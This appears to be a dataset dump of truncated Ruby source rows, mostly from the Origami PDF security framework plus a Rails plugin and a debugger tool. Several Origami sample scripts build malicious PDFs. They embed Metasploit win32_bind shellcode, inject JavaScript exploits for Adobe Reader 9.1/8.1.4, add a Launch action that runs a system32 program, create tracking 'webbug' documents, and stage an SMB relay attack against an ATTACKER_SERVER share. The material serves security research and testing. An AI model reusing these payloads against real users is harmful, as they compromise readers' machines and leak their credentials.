code stringlengths 1 1.73M | language stringclasses 1
value |
|---|---|
=begin
= File
parser.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hope... | Ruby |
=begin
= File
webcapture.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the ... | Ruby |
=begin
= File
stream.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hope... | Ruby |
=begin
= File
array.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume DelugrÈ <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License a... | Ruby |
=begin
= File
numeric.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hop... | Ruby |
module Origami
module Obfuscator
WHITECHARS = [ " ", "\t", "\r", "\n", "\0" ]
OBJECTS = [ Array, Boolean, Dictionary, Integer, Name, Null, Stream, String, Real, Reference ]
MAX_INT = 0xFFFFFFFF
PRINTABLE = ("!".."9").to_a + (':'..'Z').to_a + ('['..'z').to_a + ('{'..'~').to_a
FILTERS = [ :FlateD... | Ruby |
=begin
= File
reference.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the h... | Ruby |
=begin
= File
file.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as... | Ruby |
=begin
= File
filters/ccitt.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
=begin
= File
filters/ascii.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
=begin
= File
filters/jpx.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Lic... | Ruby |
=begin
= File
filters/runlength.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Publ... | Ruby |
=begin
= File
filters/lzw.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Lic... | Ruby |
=begin
= File
filters/crypt.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
=begin
= File
filters/jbig2.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
=begin
= File
filters/predictors.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Pub... | Ruby |
=begin
= File
filters/dct.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Lic... | Ruby |
=begin
= File
filters/flate.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
=begin
= File
metadata.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Licens... | Ruby |
=begin
= File
trailer.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hop... | Ruby |
=begin
= File
graphics/colors.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public... | Ruby |
=begin
= File
graphics/text.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
=begin
= File
graphics/render.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public... | Ruby |
=begin
= File
graphics/state.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public ... | Ruby |
=begin
= File
graphics/xobject.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Publi... | Ruby |
=begin
= File
graphics/path.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
=begin
= File
graphics/instruction.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General P... | Ruby |
=begin
= File
graphics/patterns.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Publ... | Ruby |
=begin
= File
parsers/fdf.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the... | Ruby |
=begin
= File
parsers/linear.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in ... | Ruby |
=begin
= File
parsers/pdf.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Lic... | Ruby |
=begin
= File
parsers/ppklite.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in... | Ruby |
=begin
= File
export.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume DelugrÈ <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License ... | Ruby |
=begin
= File
origami.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hop... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
INPUTFILE = "attached.txt"
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
puts "Now generating a new PDF file from scratch!"
# Creatin... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
INPUTFILE = "helloworld.swf"
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
puts "Now generating a new PDF file from scratch!"
# Creat... | Ruby |
#!/usr/bin/ruby
require 'openssl'
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
CERTFILE = "test.crt"
RSAKEYFILE = "test.key"
contents = ContentStream.ne... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read(ARGV[0])
# win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
win32_bin = "%u03eb%ueb59%ue805... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read(ARGV[0])
jscript = %Q|
//##############
//Exploit made by Arr1val
//Proved in adobe 9.1 and adobe 8.1.4 on linux
//
//Steps:
/... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read(ARGV[0])
jscript = %Q|
//##############
//Exploit made by Arr1val
//Proved in adobe 9.1 and adobe 8.1.4 on linux
//###########... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
params = Action::Launch::WindowsLaunchParams.new
params.F = "C:\\\\WINDOWS\\\\system32\\\... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG )
index = 1
pages = pdf.pages
pages.each do |page|
page.onOpen(Action::... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG )
pages = pdf.pages
pages.each do |page|
page.onOpen(Action::Named.new... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "webbug-browser.pdf"
puts "Now generating a new bugged PDF file from scratch!"
URL = "http://localhost/webbug-browser.html"
pdf... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "webbug-js.pdf"
JSCRIPTFILE = "submitform.js"
puts "Now generating a new PDF file from scratch!"
contents = ContentStream.new.se... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "webbug-reader.pdf"
URL = "http://localhost/webbug-reader.php"
puts "Now generating a new bugged PDF file from scratch!"
pdf = ... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
puts "Now generating a new PDF file from scratch!"
pdf = PDF.new
page = Page.new
conte... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
puts "Now generating a new PDF file from scratch!"
pdf = PDF.new
page = Page.new
conte... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
#
# SMB relay attack.
# Uses a GoToR action to open a shared network directory.
#
ATTACKER_SERVER = "localhost"
pdf = PDF.read(ARGV[0])
dst ... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
if defined?(PDF::JavaScript::Engine)
INPUTFILE = "attached.txt"
# Creating a new file
pdf = PDF.new
# Embedding the file into the P... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
puts "Now generating a new PDF file from scratch!"
# Creates an encrypted document with... | Ruby |
require 'test/unit'
require 'stringio'
class TC_Pages < Test::Unit::TestCase
def setup
@target = PDF.new
@output = StringIO.new
end
# def teardown
# end
def test_appendpage
p1, p2, p3 = Page.new, Page.new, Page.new
assert_nothing_raised do
@target.append_page p1... | Ruby |
require 'test/unit'
class TC_PdfParse < Test::Unit::TestCase
def setup
@data =
%w{
test/dataset/empty.pdf
test/dataset/calc.pdf
test/dataset/crypto.pdf
}
@dict = StringScanner.new "<</N 2 0 R/x1 null/Pi 3.14 /a <<>>>>"
@bytestring = StringSca... | Ruby |
require 'test/unit'
require 'stringio'
class TC_Streams < Test::Unit::TestCase
def setup
@target = PDF.new
@output = StringIO.new
@data = "0123456789" * 1024
end
# def teardown
# end
def test_predictors
stm = Stream.new(@data, :Filter => :FlateDecode)
stm.set_... | Ruby |
require 'test/unit/testsuite'
require 'tc_pdfparse.rb'
require 'tc_streams.rb'
require 'tc_pdfencrypt.rb'
require 'tc_pdfsig.rb'
require 'tc_pdfattach.rb'
require 'tc_pages.rb'
require 'tc_actions.rb'
require 'tc_annotations.rb'
require 'tc_pdfnew.rb'
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.d... | Ruby |
require 'test/unit'
class TC_Actions < Test::Unit::TestCase
def setup
@target = PDF.new
@page = Page.new
@action = Action::JavaScript.new "app.alert(null);"
end
# def teardown
# end
def test_pdf_actions
@target.onDocumentOpen @action
@target.onDocumentClose @action... | Ruby |
require 'test/unit'
require 'stringio'
class TC_PdfNew < Test::Unit::TestCase
def setup
@output = StringIO.new
end
# def teardown
# end
def test_pdf_struct
pdf = PDF.new
null = Null.new
assert_nothing_raised do
pdf << null
end
assert_nothing_raise... | Ruby |
require 'test/unit'
require 'stringio'
class TC_PdfAttach < Test::Unit::TestCase
def setup
@target = PDF.new
@attachment = "test/dataset/test.dummycrt"
@output = StringIO.new
end
# def teardown
# end
def test_attachfile
assert_nothing_raised do
fspec = @target.at... | Ruby |
require 'test/unit'
require 'stringio'
class TC_PdfEncrypt < Test::Unit::TestCase
def setup
@target = PDF.read("test/dataset/calc.pdf", :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET)
@output = StringIO.new
end
# def teardown
# end
def test_encrypt_rc4_40b
@outpu... | Ruby |
require 'test/unit'
require 'stringio'
class TC_PdfSig < Test::Unit::TestCase
def setup
@target = PDF.read("test/dataset/calc.pdf", :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET)
@output = StringIO.new
@cert = OpenSSL::X509::Certificate.new(File.read("test/dataset/test.dummycr... | Ruby |
require 'test/unit'
require 'stringio'
class TC_Annotations< Test::Unit::TestCase
def setup
@target = PDF.new
@page = Page.new
@action = Action::JavaScript.new "app.alert(null);"
@output = StringIO.new
end
# def teardown
# end
def test_annotations
circle = A... | Ruby |
# Include hook code here
require 'checkbox_select'
| Ruby |
require 'rake'
require 'rake/testtask'
require 'rake/rdoctask'
desc 'Default: run unit tests.'
task :default => :test
desc 'Test the checkbox_select plugin.'
Rake::TestTask.new(:test) do |t|
t.libs << 'lib'
t.pattern = 'test/**/*_test.rb'
t.verbose = true
end
desc 'Generate documentation for the checkbox_selec... | Ruby |
require 'rubygems'
require 'ruby-debug'
PLUGIN_ROOT = "/vendor/plugins/checkbox_select/lib/"
PLUGIN_PATH = RAILS_ROOT+PLUGIN_ROOT
namespace :checkbox_select do
task :setup do
debugger
true
end
end
Person.new("hey now!", 20);
#what the hell is this shit?
def copy_javscript
FileUtil.cp(PLUGIN_PATH+"checkb... | Ruby |
# Uninstall hook code here
| Ruby |
def define_files
[
{:name => "checkbox_select.css", :destination => "public/stylesheets"},
{:name => "checkbox_select.js", :destination => "public/javascripts"},
{:name => "downarrow.png", :destination => "public/images/checkbox_select", :mkdir => true}
]
end
def copy_files(files)
for file in files... | Ruby |
module ActionView
module Helpers
module FormHelper
def checkbox_select(object, method, choices, options = {})
counter = ((options[:counter].blank? or options[:multi] == true) ? "none" : options[:counter]).to_s
unique_id = options[:id] || rand(10000)
object, method, title = objec... | Ruby |
require 'net/http'
server = "msdl.microsoft.com"
pdb = "ntkrnlmp"
guid = "30092be745b24fe2a311a936e7b7486f2"
uri = "/download/symbols/#{pdb}.pdb/#{guid}/#{pdb}.pd_"
dest = "#{pdb}.pd_"
puts uri
Net::HTTP.start(server) { |http|
headers = {"User-Agent" => "Microsoft-Symbol-Server/6.6.0007.5"}
resp = http.get(u... | Ruby |
# This file is part of Virtdbg
# Copyright (C) 2010-2011 Damien AUMAITRE
#
# Licence is GPLv3, see LICENCE.txt in the top-level directory
module VirtDbg
VIRTDBGDIR = File.dirname(__FILE__)
# add it to the ruby library path
$: << VIRTDBGDIR
end
%w[forensic1394 virtdbg util main system].each { |f|
require ... | Ruby |
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2009 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
#
# this exemple illustrates the use of the cparser/preprocessor #factorize functionnality:
# we write some code using standard headers, and t... | Ruby |
# This file is part of Virtdbg
# Copyright (C) 2010-2011 Damien AUMAITRE
#
# Licence is GPLv3, see LICENCE.txt in the top-level directory
require 'metasm'
require 'metasm/dynldr'
require 'iconv'
class String
def utf16_to_iso
converter = Iconv.new('ISO-8859-1//IGNORE//TRANSLIT', 'UTF-16')
... | Ruby |
# This file is part of Virtdbg
# Copyright (C) 2010-2011 Damien AUMAITRE
#
# Licence is GPLv3, see LICENCE.txt in the top-level directory
require 'metasm'
require 'metasm/dynldr'
include Metasm
def calc_checksum(data)
data.unpack('C*').inject(0) { |sum, byte| sum+byte }
end
module VirtDbg
class ... | Ruby |
# This file is part of Virtdbg
# Copyright (C) 2010-2011 Damien AUMAITRE
#
# Licence is GPLv3, see LICENCE.txt in the top-level directory
require 'metasm'
require 'metasm/dynldr'
include Metasm
module VirtDbg
class Forensic1394 < Metasm::DynLdr
new_api_c File.read(File.join(VIRTDBGDIR, "inc", ... | Ruby |
# ripped from metasm/misc
class IO
def hexdump(ctx={})
ctx[:noend] = true
while buf = read(512) and not buf.empty?
buf.hexdump(ctx)
end
ctx.delete :noend
''.hexdump(ctx)
end
end
class String
def hexdump(ctx={})
fmt = ctx[:fmt] ||= ['c', 'd', 'a']
... | Ruby |
# This file is part of Virtdbg
# Copyright (C) 2010-2011 Damien AUMAITRE
#
# Licence is GPLv3, see LICENCE.txt in the top-level directory
require 'metasm'
require 'metasm/dynldr'
include Metasm
module VirtDbg
class VirtDbgMem < VirtualString
def initialize(impl, addr=0, length=nil)
... | Ruby |
# This file is part of Virtdbg
# Copyright (C) 2010-2011 Damien AUMAITRE
#
# Licence is GPLv3, see LICENCE.txt in the top-level directory
require 'metasm'
require 'virtdbg'
require 'optparse'
$VERBOSE = false
# parse arguments
opts = { :device => 0 }
OptionParser.new { |opt|
opt.banner = 'Usage: virtdbg.... | Ruby |
class OwnerAddTitel < ActiveRecord::Migration
def self.up
add_column :owners, :titel, :string
end
def self.down
end
end
| Ruby |
class CreateItems < ActiveRecord::Migration
def self.up
create_table :items do |t|
t.boolean :check
t.string :description, :null => false
t.boolean :activ
t.integer :number,:default=>0
t.integer :shift
t.timestamps
end
end
def self.down
drop_table :items
end
end
| Ruby |
class CreateOwners < ActiveRecord::Migration
def self.up
create_table :owners do |t|
t.string :inhaber,:limit=> 32, :null => false
t.string :checker,:limit=> 16, :null => false
t.string :gast,:limit=> 8, :null => false
end
add_column :items, :owner_id, :integer
end
def self.down
... | Ruby |
class ItemAddDeletedFlag < ActiveRecord::Migration
def self.up
add_column :items, :deleted, :boolean
end
def self.down
end
end
| Ruby |
ENV["RAILS_ENV"] = "test"
require File.expand_path(File.dirname(__FILE__) + "/../config/environment")
require 'test_help'
class ActiveSupport::TestCase
# Transactional fixtures accelerate your tests by wrapping each test method
# in a transaction that's rolled back on completion. This ensures that the
# test da... | Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../config/boot'
require 'commands/destroy'
| Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../config/boot'
$LOAD_PATH.unshift "#{RAILTIES_PATH}/builtin/rails_info"
require 'commands/about' | Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../config/boot'
require 'commands/runner'
| Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../config/boot'
require 'commands/runner'
| Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../config/boot'
require 'commands/server'
| Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../config/boot'
require 'commands/generate'
| Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../config/boot'
require 'commands/destroy'
| Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../config/boot'
require 'commands/plugin'
| Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../config/boot'
require 'commands/console'
| Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../config/boot'
require 'commands/dbconsole'
| Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../config/boot'
$LOAD_PATH.unshift "#{RAILTIES_PATH}/builtin/rails_info"
require 'commands/about' | Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../config/boot'
require 'commands/server'
| Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../config/boot'
require 'commands/dbconsole'
| Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../config/boot'
require 'commands/console'
| Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../config/boot'
require 'commands/plugin'
| Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../../config/boot'
require 'commands/performance/benchmarker'
| Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../../config/boot'
require 'commands/performance/profiler'
| Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../../config/boot'
require 'commands/performance/benchmarker'
| Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../../config/boot'
require 'commands/performance/profiler'
| Ruby |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.